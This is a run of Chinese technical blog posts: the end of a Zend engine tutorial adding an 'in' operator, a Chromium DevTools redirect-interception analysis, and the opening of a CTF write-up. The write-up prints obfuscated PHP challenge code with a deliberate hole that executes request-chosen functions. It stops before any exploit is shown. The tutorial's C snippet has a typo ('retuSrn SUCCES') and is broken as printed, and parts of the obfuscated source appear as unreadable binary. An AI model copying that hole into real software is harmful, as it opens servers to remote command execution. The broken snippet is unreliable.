ZEND_CALL_TOP_CODE /* direct VM call to "main" code from external C code mian函数*/
} zend_call_kind;

最后execute_ex返回,再调用zend_vm_stack_free_call_frame()释放掉execute_data。这里不是真正的释放,而是把相应的内存归还给Zend 的内存池,避免频繁的申请和释放。有兴趣的同学可以去看看Zend的内存管理。

到这里ZendVM编译和执行过程也就差不多介绍个大概,其实还有很多细节值得推敲。比如opcode缓存,opcode 的优化等等,关于opcode缓存和php7.4 alpha1的新特性FFI应该是我下一篇文章,在写本文的时候,恰巧也是php7.4 alpha1 release的时候,只感觉php变得很快,越来越不局限于Web的专属语言了。

0x7 牛刀小试

说了这么多,你们可能也想试一试如何去增加一个新的php语法,这里我将通过一个简单的例子描述这一过程。其实通过前面基础介绍从 词法扫描->语法分析->抽象语法树->oplines->zend_execute 这已基本过程也应该了解了。现在我们添加一个 关于in的语法 ,在JavaScript里面 in 作为运算符用来判断指定的属性是否在指定的对象或其原型链中,返回值为bool类型,同样在python里面也有in运算符,使用于字符串和字典运算。字典类似于php里面的数组,js 和 python 的in运算符应用于string in ['b','a','c']这样运算的时候,js判断是数组的key值 ,而python关注的value值,类似于php的in_array。这里我们添加一个比较简单的语法用in来代替strpos

最终的效果应该是

1
2
3
var_dump('maple' in 'hello , maple'); //int(8)
var_dump(1 in '11111'); //bool(false)
var_dump('' in 'maple'); //bool(false)

这里in两边表达式不进行弱类型转化,如strpos一样,应该都为字符串类型。一步一步来。

  1. 首先需要在词法扫描的时候碰到"in" 返回 'T_IN';
  2. T_IN 作为运算符和+-*/%这些运算符意义相同,应该出现在表达式里面。

先完成第一步re2c扫描的时候,遇到"in",返回token,需要在zend_language_scanner.l中lex_scan()中添加相应的正则匹配规则。

1
2
3
<ST_IN_SCRIPTING>"in" {
RETURN_TOKEN(T_IN);
}

这里有同学可能会问应该放在什么位置,在这里其实放在任意位置都行,只要在/*!re2c内就行,因为这里不存在冲突,存在一个include规则,但是re2c在处理匹配的相同字符串的规则的时候,是优先取长的。所以includein并不冲突。

然后去zend_language_parser.y去定义一下T_IN相关语法。

1
2
3
4
5
6
%token T_IN 	"in (T_IN)"//首先定义T_IN,放在定义token的末尾就行。
expr:
...
|expr T_IN expr { $$ = zend_ast_create_binary_op(ZEND_IN, $1, $3); }
...//添加一下具体的语法规则,左右两边为表达式。后面的ast节点建立后面再说。
;

引入token和定义相关语法,其实还需要做一些事情,否则bison还是无法处理。比如

1
'stra' in 'strb'  && 1

这种情况下究竟是 ('stra' in 'strb' ) && 1 还是'stra' in ('strb' && 1),会导致bison无法处理。所以这里我们还需要定义in的优先级。再比如下面

1
'stra' in 'strb' in 'strc'

究竟是('stra' in 'strb') in 'strc'还是'stra' in ('strb' in 'strc')呢?这里需要定义结合性。结核性好考虑%left 即可。

再考虑优先级应该放在什么位置

1
2
3
4
'stra' in 'strb'  && 1 // 应该为下面的情况
('stra' in 'strb' ) && 1 // 即应该放在 %left T_BOOLEAN_AND 后面
'stra' in 'strb'.'strc' //
'stra' in ('strb'.'strc') //应该 %left '+' '-' '.' 之前

&&+-.之间的token如下

1
2
3
4
5
6
7
8
%left T_BOOLEAN_AND
%left '|'
%left '^'
%left '&'
%nonassoc T_IS_EQUAL T_IS_NOT_EQUAL T_IS_IDENTICAL T_IS_NOT_IDENTICAL T_SPACESHIP
%nonassoc '<' T_IS_SMALLER_OR_EQUAL '>' T_IS_GREATER_OR_EQUAL
%left T_SL T_SR
%left '+' '-' '.'

应该在大于号小于号 之后,而又应该在位运算符之前之后都行。我放在了位运算后面,这里in两边的表达式应该为字符串类型,不适用于位运算。所以这里插入位置如下

1
2
3
%left T_SL T_SR
%left T_IN
%left '+' '-' '.'

便完成了语法分析的修改。接着关于in语法节点的建立。我们可以看一下其他简单运算符的建立的过程。

1
2
3
4
5
6
7
8
9
|	expr '|' expr	{ $$ = zend_ast_create_binary_op(ZEND_BW_OR, $1, $3); }
| expr '&' expr { $$ = zend_ast_create_binary_op(ZEND_BW_AND, $1, $3); }
| expr '^' expr { $$ = zend_ast_create_binary_op(ZEND_BW_XOR, $1, $3); }
| expr '.' expr { $$ = zend_ast_create_binary_op(ZEND_CONCAT, $1, $3); }
| expr '+' expr { $$ = zend_ast_create_binary_op(ZEND_ADD, $1, $3); }
| expr '-' expr { $$ = zend_ast_create_binary_op(ZEND_SUB, $1, $3); }
| expr '*' expr { $$ = zend_ast_create_binary_op(ZEND_MUL, $1, $3); }
| expr T_POW expr { $$ = zend_ast_create_binary_op(ZEND_POW, $1, $3); }

都通过zend_ast_create_binary_op来建立节点,其实建立是一个ZEND_AST_BINARY_OP类型的节点,然后将该节点attr设置为相应的opcode,我们再去看一下关于ZEND_AST_BINARY_OP节点编译成opcode的过程。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
void zend_compile_expr(znode *result, zend_ast *ast) /* {{{ */
{
...
switch (ast->kind) {
case ZEND_AST_BINARY_OP:
zend_compile_binary_op(result, ast);
...
}
}

//接着zend_compile_binary_op
void zend_compile_binary_op(znode *result, zend_ast *ast) /* {{{ */
{
zend_ast *left_ast = ast->child[0];//取出左右expr节点
zend_ast *right_ast = ast->child[1];
uint32_t opcode = ast->attr;//相应的opcode zend_add zend_sub ....

znode left_node, right_node;
zend_compile_expr(&left_node, left_ast); //递归处理可能存在的嵌套表达式
zend_compile_expr(&right_node, right_ast);

if (left_node.op_type == IS_CONST && right_node.op_type == IS_CONST) { //一步优化,上面也提到过
if (zend_try_ct_eval_binary_op(&result->u.constant, opcode,//如果是两边表达式节点都是字面量,直接调用内置的二进制处理函数,返回结果,并不会再根据opcode生成opline。
&left_node.u.constant, &right_node.u.constant)
) {
result->op_type = IS_CONST;
zval_ptr_dtor(&left_node.u.constant);
zval_ptr_dtor(&right_node.u.constant);
return;
}
}

这里我们先把如果 in 两边是字面量的处理过程写出来,例如'aaaaaaa' in 'bbbbbbbb',所以这里我们需要去添加相应的内置函数来处理。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
static inline zend_bool zend_try_ct_eval_binary_op(zval *result, uint32_t opcode, zval *op1, zval *op2) /* {{{ */
{
binary_op_type fn = get_binary_op(opcode);
...
}


ZEND_API binary_op_type get_binary_op(int opcode)
{
switch (opcode) {
case ZEND_ADD:
case ZEND_ASSIGN_ADD:
return (binary_op_type) add_function;
case ZEND_SUB:
case ZEND_ASSIGN_SUB:
return (binary_op_type) sub_function;
case ZEND_MUL:
case ZEND_ASSIGN_MUL:
...
}

这里我们需要添加 ZEND_IN的case分支如下

1
2
3
4
5
6
...
case ZEND_IN:
return (binary_op_type) in_function;
default:
return (binary_op_type) NULL;
...

接着去定义in_function,在zend_operators.c中,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
ZEND_API int ZEND_FASTCALL in_function(zval *result, zval *op1, zval *op2) /* {{{ */
{
const char *found = NULL;
if (Z_TYPE_P(op2) == IS_STRING){
if (!Z_STRLEN_P(op2)) {
ZVAL_FALSE(result);
}else{
if(Z_TYPE_P(op1) == IS_STRING ){
if(!Z_STRLEN_P(op1)){
ZVAL_FALSE(result);
}else{
found = (char*)zend_memnstr(Z_STRVAL_P(op2),
Z_STRVAL_P(op1),
Z_STRLEN_P(op1),
Z_STRVAL_P(op2) + Z_STRLEN_P(op2));
//ZVAL_LONG(result,found-Z_STRVAL_P(op2));
}
}else{
ZVAL_FALSE(result);
}
}
}else{
ZVAL_FALSE(result);
}
if(found){
ZVAL_LONG(result,found-Z_STRVAL_P(op2));
}else{
ZVAL_FALSE(result);
}
retuSrn SUCCES;
}

改函数实现了strpos不带offset的功能。记得还要去zend_vm_opcodes.h去定义一下新添加的ZEND_IN.使用bison重新预处理一下zend_language_parser.y,同样也需要使用re2c重新处理一下zend_language_scanner.l。重新编译整个php。你就会看到预期in左右两边字面量的新语法。接着还有'a' in $a,'a' in foo(),就需要使用zend_vm_gen.php 去生成相对应的handler。有兴趣的同学可以去接着深入,这里的东西再怎么陈述,你终究会有一些不懂的地方。

0x08 写在最后

终于php的编译和执行到此就结束了,从前到后其实就是在不断的重新编译php,然后配合gdb。很多人觉得庞大的代码很难入手,其实把大致逻辑梳理一遍,再针对性的看,也不是很难下手,原希望这篇文章作为一篇基础的入门级文章送给那些渴求一探php内部奥秘的朋友,不在某一个细节上过于深究,留下可探究的点,供大家参考。如果大家能从此篇学到一些东西,那我这一段时间就没用白费 :)。同时送给大家一段我看见挺正确的话:

我觉得韩天峰有句话说的很对,技术栈上,PHP 只是 C 的一个开发效率提升的补充,资深的高级 PHP 程序员,很多时候都是很好的 C 程序员(参考鸟哥),C 对于 PHP 不是后门,是基石。PHP 极早期很多函数就是对 C 的一些简单封装,你可以看下 PHP4 时代遗留下来的东西,很多有很重的 C 痕迹,PHP5 拥抱 oop 不是和 Java 学,而是跟着语言发展潮流走,拥抱开发方式的发展和变化,但是发展到现在,有人觉得弄出 laravel 那种花式封装的就是高级 PHP 程序员了,其实离真的高级资深 PHP 程序员还远着十万八千里。

关于Chrome Devtools Protocol中 Network模块对Redirect的处理

Network.requestIntercepted for Redirect

在写关于以Chrome Headless 为框架的爬虫时候。确实遇到了不少的坑,因为没有东西可以借鉴,只能去踩了。没办法遇到实在不能解释的情况只能去看Chromium的source code 了。:)

其中一个坑是关于,Network 模块拦截请求的过程。首先需要设置拦截什么?其过滤器设置方法为 Network.setRequestInterception 其中你需要做的是指定urlPattern 请求匹配表达式 ,resourceType 拦截类型,以及interceptionStage 拦截时间。

对于拦截请求的思路,我们思路肯定是放第一个 Page.navigate 的document 类型的请求过去,在一次检测过程中,我们只能放任一个navigate 类型的document过去,保证页面是稳定的。

刚开始单一页面检测,你只需要让interceptionIdid-1Network.requestIntercepted的事件让它过去就行。其余的都丢弃就行。

而后多站点同站点并发为1的检测,你会发现interceptionId 数值在不同tab下都是同一个数值递增的。如果还是用老办法是无法实现的。所以在事件监听的handler里面多加了一个变量Lastmethod 用来保存每次向devtools 输出的方法,这样只要值为Page.navigate就放这次请求过去。

但是检测的过程中遇到了一个情况,当Page.navigate遇到是是一个redirect 页面。你第一次给它放了,但是第二次因为是location 也是document ,但是按流程给它丢了。会导致页面直接about:blank,整个程序被阻塞了。

这个问题确实困扰了我一段时间。我仔细又看了一下 Network.requestIntercepted 的描述。看看有没有能标识拦截是redirect,发现确实有一个可选项 redirectUrl //Redirect location, only sent if a redirect was intercepted.

从描述来看,只要这个重定向被拦截到了,就会被输出这个可选项。但是事实并不是。我本地弄了一个location.php

1
2
3
<?php
header('location: http://127.0.0.1/location.php');
die();
chrome 默认 重定向次数不能 超过20,在这20次拦截里面没有一个 Network.requestIntercepted 带有redirectUrl 可选项的,必须得找到一个能标志是redirect请求的事件才行。其过程还有一个Network.requestWillBeSent 事件在进行重定向的时候,其中会返回一个redirectResponse 属性。唯一能标志这个请求的事件了,但是我又不想在为这个事件再写一个callbackfunction 来判断每一个requests,这样会造成性能的浪费。

我认为既然有Network.requestIntercepted 事件官方文档既然有redirectUrl 这个字段,那就肯定有情况输出的地方。Google 无获,Stackflow,google-group提问至今无获。我决定直接去看chromuim的里面到底时怎么处理。

花了一天的时候把Network的handler处理过程理顺了。首先注册NetworkHandle,每一个拦截请求都会创建一个Interceptedjob

其中 src/content/browser/devtools/protocol/network_handler.cc包含是Netwrok模块中最底层的操作。

首先来看注册拦截对象的过程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44

DispatchResponse NetworkHandler::SetRequestInterception(
std::unique_ptr<protocol::Array<protocol::Network::RequestPattern>>
patterns) {
if (!patterns->length()) { //首先判断传进的匹配对象数组的长度
interception_handle_.reset();
if (url_loader_interceptor_) {
url_loader_interceptor_.reset();
update_loader_factories_callback_.Run();
}
return Response::OK();
}

std::vector<DevToolsNetworkInterceptor::Pattern> interceptor_patterns; //定义初始一个完整的匹配模式
for (size_t i = 0; i < patterns->length(); ++i) { //通过遍历传进来的匹配对象数组,以此传入 interceptor_patterns;
base::flat_set<ResourceType> resource_types;
std::string resource_type = patterns->get(i)->GetResourceType(""); //默认资源类型为空代表所有类型
if (!resource_type.empty()) {
if (!AddInterceptedResourceType(resource_type, &resource_types)) {
return Response::InvalidParams(base::StringPrintf(
"Cannot intercept resources of type '%s'", resource_type.c_str()));
}
}
interceptor_patterns.push_back(DevToolsNetworkInterceptor::Pattern(
patterns->get(i)->GetUrlPattern("*"), std::move(resource_types),//默认匹配时所有请求
ToInterceptorStage(patterns->get(i)->GetInterceptionStage(
protocol::Network::InterceptionStageEnum::Request))));// 拦截时间默认都是request要发送的时候
}

if (!host_)
return Response::InternalError();

if (base::FeatureList::IsEnabled(network::features::kNetworkService)) { //这里NetworkService是一个chrome的新特性,可以在启动的--enable-feature 时开启 ,这里不是本文影响重点。所以这里我开启了
if (!url_loader_interceptor_) {
url_loader_interceptor_ = std::make_unique<DevToolsURLLoaderInterceptor>(
base::BindRepeating(&NetworkHandler::RequestIntercepted,
weak_factory_.GetWeakPtr()));
url_loader_interceptor_->SetPatterns(interceptor_patterns, true); //新定义了一个url_loader_interceptor并设置了完整的匹配模式
update_loader_factories_callback_.Run();
} else {
url_loader_interceptor_->SetPatterns(interceptor_patterns, true);
}
return Response::OK();
}
这里我们不必去探究整个处理的过程。我们知道在哪里注册的匹配对象。在哪里用到了这个我们注册的匹配对象。用到这个匹配对象的地方就是我们要找的地方,即拦截请求的地方

最终调用到了 Impl::SetPatterns/src/content/browser/devtools/devtools_url_loader_interceptor.

1
2
3
4
void SetPatterns(std::vector<DevToolsNetworkInterceptor::Pattern> patterns, bool handle_auth) {
patterns_ = std::move(patterns);
handle_auth_ = handle_auth;
}

拦截对象直接赋值给了 patterns 。这里我们可以直接看看什么时候用到这个变量的

1
2
3
4
5
6
7
8
9
10
11
InterceptionStage GetInterceptionStage(const GURL& url,ResourceType resource_type) const {
InterceptionStage stage = InterceptionStage::DONT_INTERCEPT;
std::string unused;
std::string url_str =
protocol::NetworkHandler::ExtractFragment(url, &unused);
for (const auto& pattern : patterns_) {
if (pattern.Matches(url_str, resource_type))
stage |= pattern.interception_stage;
}
return stage;
}
根据请求的url 和 资源类型 返回什么时候拦截。接下来是找什么地方调用这个方法的地方

src/content/browser/devtools/devtools_url_loader_interceptor.cc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
bool InterceptionJob::StartJobAndMaybeNotify() {
start_ticks_ = base::TimeTicks::Now();
start_time_ = base::Time::Now();

current_id_ = id_prefix_ + base::StringPrintf(".%d", redirect_count_);
interceptor_->AddJob(current_id_, this);

const network::ResourceRequest& request = create_loader_params_->request;
stage_ = interceptor_->GetInterceptionStage(
request.url, static_cast<ResourceType>(request.resource_type));

if (!(stage_ & InterceptionStage::REQUEST))
return false;

if (state_ == State::kRedirectReceived)
state_ = State::kFollowRedirect;
else
DCHECK_EQ(State::kNotStarted, state_);
NotifyClient(BuildRequestInfo(nullptr));
return true;
}

InterceptionJob::StartJobAndMaybeNotify() 中调用了这个方法,其中这个NotifyClient 就是devtools 中来发送event的操作。可以看到他是有判断的,当stagerequest的时候才会发送这个拦截的请求。默认情况下我们设置的拦截时间都是在请求发送的时候,就是request。再去找什么地方调用的StartJobAndMaybeNotify()

两个地方: InterceptionJob的构造函数和InterceptionJob::FollowRedirect

前面说到,对于拦截每一个请求的过程中,都会创建一个InterceptionJob,对于其构造函数里面调用StartJobAndMaybeNotify可以想到是用来在request请求刚刚发起的时候,这是正常情况,我想要知道的东西在第二个地方,followRedirect,在处理重定向的时候,它是怎样向client 发送这个拦截事件的。

1
2
3
4
5
6
if (interceptor_) {	
interceptor_->RemoveJob(current_id_);
redirect_count_++;
if (StartJobAndMaybeNotify())
return;
}

可以看到处理重定向的时候,先去掉了发起重定向的第一个请求的Job,然后发送拦截事件。其实这里我是多余跟到这里了。

StartJobAndMaybeNotify()中最后会NotifyClient(BuildRequestInfo(nullptr)); ,其中BuildRequestInfo()是用来构造InterceptedRequestInfo 传进去的是个空指针,来看看是怎么构造的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
std::unique_ptr<InterceptedRequestInfo> InterceptionJob::BuildRequestInfo(
const network::ResourceResponseHead* head) {
auto result = std::make_unique<InterceptedRequestInfo>();
result->interception_id = current_id_;
result->frame_id = frame_token_;
ResourceType resource_type =
static_cast<ResourceType>(create_loader_params_->request.resource_type);
result->resource_type = resource_type;
result->is_navigation = resource_type == RESOURCE_TYPE_MAIN_FRAME ||
resource_type == RESOURCE_TYPE_SUB_FRAME;

if (head && head->headers)
result->response_headers = head->headers;
return result;
}
可以看到只有interception_idframe_idresource_typeis_navigation,因为传进去的是空指针是没有response_headers赋值的。没有我们想要的redirectUrl

再来看看NotifyClient 是怎么发送事件的, NotifyClient ->NotifyClientWithCookies

1
2
3
4
5
6
request_info->network_request =
protocol::NetworkHandler::CreateRequestFromResourceRequest(
create_loader_params_->request, cookie_line)
...
base::BindOnce(interceptor_->request_intercepted_callback_,
std::move(request_info))
最后传递给了interceptor_->request_intercepted_callback_ 这个callback 是在NetworkHandler::SetRequestInterception设置拦截对象时,同时指定为NetworkHandler::SetRequestInterception

1
2
3
4
5
6
7
8
frontend_->RequestIntercepted(
info->interception_id, std::move(info->network_request),
info->frame_id.ToString(), ResourceTypeToString(info->resource_type),
info->is_navigation, std::move(info->is_download),
std::move(info->redirect_url), std::move(auth_challenge),
std::move(error_reason), std::move(status_code),
std::move(response_headers));
}

std::move(info->redirect_url),这里在输出的时候info 里面没有redirectUrl这个值,前面已经分析过了。

到这里断了,得换一个思路在找,这时候我想看看哪里会调用到NotifyClient,即发送拦截时间的时候。

发现其实还有三个地方:

1
2
3
InterceptionJob::OnReceiveResponse
InterceptionJob::OnReceiveRedirect
InterceptionJob::OnAuthRequest
感兴趣的肯定是InterceptionJob::OnReceiveRedirect
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
void InterceptionJob::OnReceiveRedirect(
const net::RedirectInfo& redirect_info,
const network::ResourceResponseHead& head) {
DCHECK_EQ(State::kRequestSent, state_);
state_ = State::kRedirectReceived;
response_metadata_ = std::make_unique<ResponseMetadata>(head);
response_metadata_->redirect_info =
std::make_unique<net::RedirectInfo>(redirect_info);

if (!(stage_ & InterceptionStage::RESPONSE)) {
client_->OnReceiveRedirect(redirect_info, head);
return;
}

std::unique_ptr<InterceptedRequestInfo> request_info =
BuildRequestInfo(&head);
request_info->redirect_url = redirect_info.new_url.spec();
NotifyClient(std::move(request_info));
}

这三个地方的调用都有一个前置条件。stage 等于 response。即返回的时候拦截并发送事件。

1
request_info->redirect_url = redirect_info.new_url.spec();

也指定了redircetUrl 参数项。这里我们可以知道了在调用 Network.requestIntercepted的时候,需要指定在请求收到的时候拦截才行。这里我们需要同时指定在请求发起 和 请求回复的 都拦截才行。会不会造成资源浪费呢,其实并不会浪费多少,因为只有第一个请求过去了,它才有response 这里才会被拦截并发送事件。

所以这里在handler 里面还需要定义一个变量用来判断下一个拦截请求是不是重定向。而后我向chromuim 的开发组意见,这里为什么不在followRedirect的时候同样也指定这是一个Redirect请求呢,╮(╯▽╰)╭ 如果有chromium的源码我真想自己改了。能省不少事,能hook 底层,就可以少写很多冗余的调用的代码。下一步我想搞一套chromium的源码,试着去改然后编译,想想就很有趣。

永远不说放弃,努力再努力,终会如愿以偿 2019年03月30日18:13:50 maple

starctf-echohub-writeup

已经不打CTF很长时间了,CTF对我来说是一种奢侈,Team里小伙伴给了我一个题,说是经过混淆过的Php文件,我一向比较喜欢解混淆的东西。于是决定安排一下这道题。

题目要求执行/readflag,

/?source=1 先看源码。 两段base64,一段是源码,一段是dockerfile。先看source code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
<?php /* orz
-- enphp : https://git.oschina.net/mz/mzphp2
*/ error_reporting(E_ALL^E_NOTICE);define('O0', 'O');?$GLOBALS[O0] = explode('|||', gzinflate(substr('? uR蒖? ?N纴R饰0贪挫-L箋WiB圬N?彥暒斺C嫔蛴{抌A鯾5TO拽觰楀?>`揕阴C凰:璙幅怅聵@L判?# 评?鈝<1犡
C蛭攕态櫕B
ず6?8 8蝑#E21黯鹖?筎XW G闵渍跬m硊w~}kv喵嘒荺'仛?8}攲?3《蛸┱j稪n??>坮?缙?ta营W叅n?>鳸謘?毌R.?辩Rzi??0奵-T梿螦埞傳V6錰L??凖磐^&)$g臭?u?Fh將mv隄N杰敓1X薂d`+冖糆0?鴂4
令姡
??硔?浰賊'忻覬鍜铞?e?竜俿澷L ',0x0a, -8)));惡耷揉粡?

file_put_contents('array.php',var_export($GLOBALS[O0],true));
require_once $GLOBALS{O0}[0];


$seed = $GLOBALS{O0}{0x001}();
$GLOBALS{O0}[0x0002]($seed);
$GLOBALS{O0}{0x00003}($GLOBALS{O0}[0x000004],$GLOBALS{O0}{0x05}(0x0000,0xffff));

$regs = array(
$GLOBALS{O0}[0x006]=>0x0,
$GLOBALS{O0}{0x0007}=>0x0,
$GLOBALS{O0}[0x00008]=>0x0,
$GLOBALS{O0}{0x000009}=>0x0,
);


function aslr(&$O00,$O0O)
{
$O00 = $O00 + 0x60000000 + INS_OFFSET + 0x001 ;

}
$func_ = $GLOBALS{O0}[0x0a]($func);
$GLOBALS{O0}{0x00b}($func_,$GLOBALS{O0}[0x000c]);
$plt = $GLOBALS{O0}[0x0a]($func_);


function handle_data($OOO){$OO0O=&$GLOBALS{O0};
$O000 = $OO0O{0x0000d}($OOO);

$O00O = $O000/0x000004+(0x001*($O000%0x000004));
悩懯澳│熰箠皥狲你捗饸脠暾覓钕锠晸拼;
$O0O0 = $OO0O[0x00000e]($OOO,0x000004);
惀墶熗;
$O0O0[$O00O-0x001] = $OO0O{0x0f}($O0O0[$O00O-0x001],0x000004,$OO0O[0x0010]);

foreach ($O0O0 as $O0OO=>&$OO00){
$OO00 = $OO0O{0x00011}($OO0O[0x000012]($OO00));

}
return $O0O0;

}

function gen_canary(){$O0O00=&$GLOBALS{O0};
$OOOO = $O0O00{0x0000013};
愹秳?
$O0000 = $OOOO[$O0O00{0x05}(0,$O0O00{0x0000d}($OOOO)-0x001)];

$O000O = $OOOO[$O0O00{0x05}(0,$O0O00{0x0000d}($OOOO)-0x001)];
惂艥钾漯湾绑镆摻嘏舷撣脧胡搫堥邉挦⑽劳眇凛脑湠涬懋遣絺嚨肩何庈潕漭垡蠞?
$O00O0 = $OOOO[$O0O00{0x05}(0,$O0O00{0x0000d}($OOOO)-0x001)];

$O00OO = $O0O00[0x0010];
悗埂絺喳剛蛯笂篁貍婿惗针墺?
return $O0O00[0x014]($O0000.$O000O.$O00O0.$O00OO)[0];

}
$canary = $GLOBALS{O0}{0x0015}();
$canarycheck = $canary;

function check_canary(){
global $canary;

global $canarycheck;
悓缾事淝晴栍牋;
if($canary != $canarycheck){
die($GLOBALS{O0}[0x00016]);
}

}

Class O0OO0{
private $ebp,$stack,$esp;

public function __construct($O0OOO,$OO000) {$OO00O=&$GLOBALS{O0};
$this->stack = array();
愂羼跍乔ロ疫ㄐ鐥莰Ж雽鸪?
global $regs;

$this->ebp = &$regs[$OO00O{0x0007}];

$this->esp = &$regs[$OO00O[0x00008]];

$this->ebp = 0xfffe0000 + $OO00O{0x05}(0x0000,0xffff);

global $canary;
悰憰醐菥铀懗?
$this->stack[$this->ebp - 0x4] = &$canary;
惱拇;
$this->stack[$this->ebp] = $this->ebp + $OO00O{0x05}(0x0000,0xffff);
愙涠犰虌仅埬隙婏牼鋬;
$this->esp = $this->ebp - ($OO00O{0x05}(0x20,0x60)*0x000004);
悷Ν乡埖炾k踽猊浑陮洯脬科諆纥狈涔靹餂蛴廉垃;
$this->stack[$this->ebp + 0x4] = $OO00O{0x000017}($O0OOO);

if($OO000 != NULL)
$this->{$GLOBALS{O0}[0x0000018]}($OO000);
}

public function pushdata($OO0O0){$OOO00=&$GLOBALS{O0};
$OO0O0 = $OOO00[0x014]($OO0O0);
悞箳移笳堜致役玢藙譅艈囹琅畻阻?
for($OO0OO=0;$OO0OO<$OOO00{0x019}($OO0O0);$OO0OO++){
$this->stack[$this->esp+($OO0OO*0x000004)] = $OO0O0[$OO0OO];
愑天鄄臑厾嗛鞀缻衅砟埑驙屰抒闱冞;//no args in my stack haha
$OOO00[0x001a]();

}
}

public function recover_data($OOO0O){$OOOO0=&$GLOBALS{O0};

return $OOOO0{0x0001b}($OOOO0{0x00011}($OOO0O));
悆挄埑滖牕抄鼹溂勑挨輱盥鸲判覗炆櫛撷潲晢ど礈判偕韤椵聣晧夔狑;

}


public function outputdata(){$O0000O=&$GLOBALS{O0};
global $regs;

echo $O0000O[0x00001c];

while(0x001){
if($this->esp == $this->ebp-0x4)
break;
$this->{$GLOBALS{O0}{0x000001d}}($O0000O[0x01e]);

$OOOOO = $this->{$GLOBALS{O0}{0x001f}}($regs[$O0000O[0x01e]]);

$O00000 = $O0000O[0x00020]($O0000O[0x0010],$OOOOO);
愺暢;
echo $O00000[0];

if($O0000O{0x019}($O00000)>0x001){
break;
}
}

}
public function ret(){$O000O0=&$GLOBALS{O0};

$this->esp = $this->ebp;
悮;
$this->{$GLOBALS{O0}{0x000001d}}($O000O0{0x0007});

$this->{$GLOBALS{O0}{0x000001d}}($O000O0{0x000021});

$this->{$GLOBALS{O0}[0x0000022]}();

}

public function get_data_from_reg($O000OO){$O00OO0=&$GLOBALS{O0};
global $regs;

$O00O00 = $this->{$GLOBALS{O0}{0x001f}}($regs[$O000OO]);
愖;
$O00O0O = $O00OO0[0x00020]($O00OO0[0x0010],$O00O00);

return $O00O0O[0];

}

public function call()
{$O0OO00=&$GLOBALS{O0};
global $regs;

global $plt;

$O00OOO = $O0OO00{0x023}($regs[$O0OO00{0x000009}]);

if(isset($_REQUEST[$O00OOO])) {
$this->{$GLOBALS{O0}{0x000001d}}($O0OO00[0x006]);
$O0O000 = (int)$this->{$GLOBALS{O0}[0x0024]}($O0OO00[0x01e]);
$O0O00O = array();
for($O0O0O0=0;$O0O0O0<$O0O000;$O0O0O0++){
$this->{$GLOBALS{O0}{0x000001d}}($O0OO00[0x006]);
$O0O0OO = $this->{$GLOBALS{O0}[0x0024]}($O0OO00[0x01e]);
$O0OO00{0x00025}($O0O00O,$_REQUEST[$O0O0OO]);
}
$O0OO00[0x000026]($plt[$O00OOO],$O0O00O);
}
else {
$O0OO00{0x0000027}($plt[$O00OOO]);
}

}

public function push($O0OO0O){$O0OOOO=&$GLOBALS{O0};
global $regs;

$O0OOO0 = $regs[$O0OO0O];
愝拟砉雎篾轃蓻諊佶③娈霌胤柪憚鶌я蜏慝环茠尽粪淬;
if( $O0OOOO{0x0001b}($O0OOOO{0x00011}($O0OOO0)) == NULL ) die($O0OOOO[0x028]);
$this->stack[$this->esp] = $O0OOO0;
惤昨腠滁颦垰犝稁侐迫唴榫骁鬀素荒;
$this->esp -= 0x000004;

}

public function pop($OO0000){
global $regs;

$regs[$OO0000] = $this->stack[$this->esp];

$this->esp += 0x000004;


}

public function __call($OO000O,$OO00O0)
{
$GLOBALS{O0}[0x001a]();

}

}$GLOBALS{O0}{43}($GLOBALS{O0}{0x0029},$GLOBALS{O0}[0x0002a],0);print_R($GLOBALS{O0}{0x0029});print_R($GLOBALS{O0}[0x0002a]);

if(isset($_POST[$GLOBALS{O0}[0x000002c]])) {
$phpinfo_addr = $GLOBALS{O0}{0x02d}($GLOBALS{O0}[0x002e], $plt);
$gets = $_POST[$GLOBALS{O0}[0x000002c]];
$main_stack = new $GLOBALS{O0}[0x0002a]($phpinfo_addr, $gets);
echo $GLOBALS{O0}{0x0002f};
$main_stack->{$GLOBALS{O0}[0x000030]}();
echo $GLOBALS{O0}{0x0000031};
$main_stack->{$GLOBALS{O0}[0x032]}();
}
看起来确实有的一点乱,我用sublime打开直接给我显示的二进制文件,这里highlight.js 也无法正确的渲染。最开始的时候我没有看见enphp这个提示,我直接上手解。表面看起来也不是很难。

可以注意到开头给$GLOBALS{O0}赋值,后文中同样很多处引用到了这个变量。按照常识应该是个保护需要用到的函数,字符串的数组。那直接给它dump出来就行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
array (
0 => 'sandbox.php',
1 => 'time',
2 => 'srand',
3 => 'define',
4 => 'INS_OFFSET',
5 => 'rand',
6 => 'eax',
7 => 'ebp',
8 => 'esp',
9 => 'eip',
10 => 'array_flip',
11 => 'array_walk',
12 => 'aslr',
13 => 'strlen',
14 => 'str_split',
15 => 'str_pad',
16 => '' . "\0" . '',
17 => 'strrev',
18 => 'bin2hex',
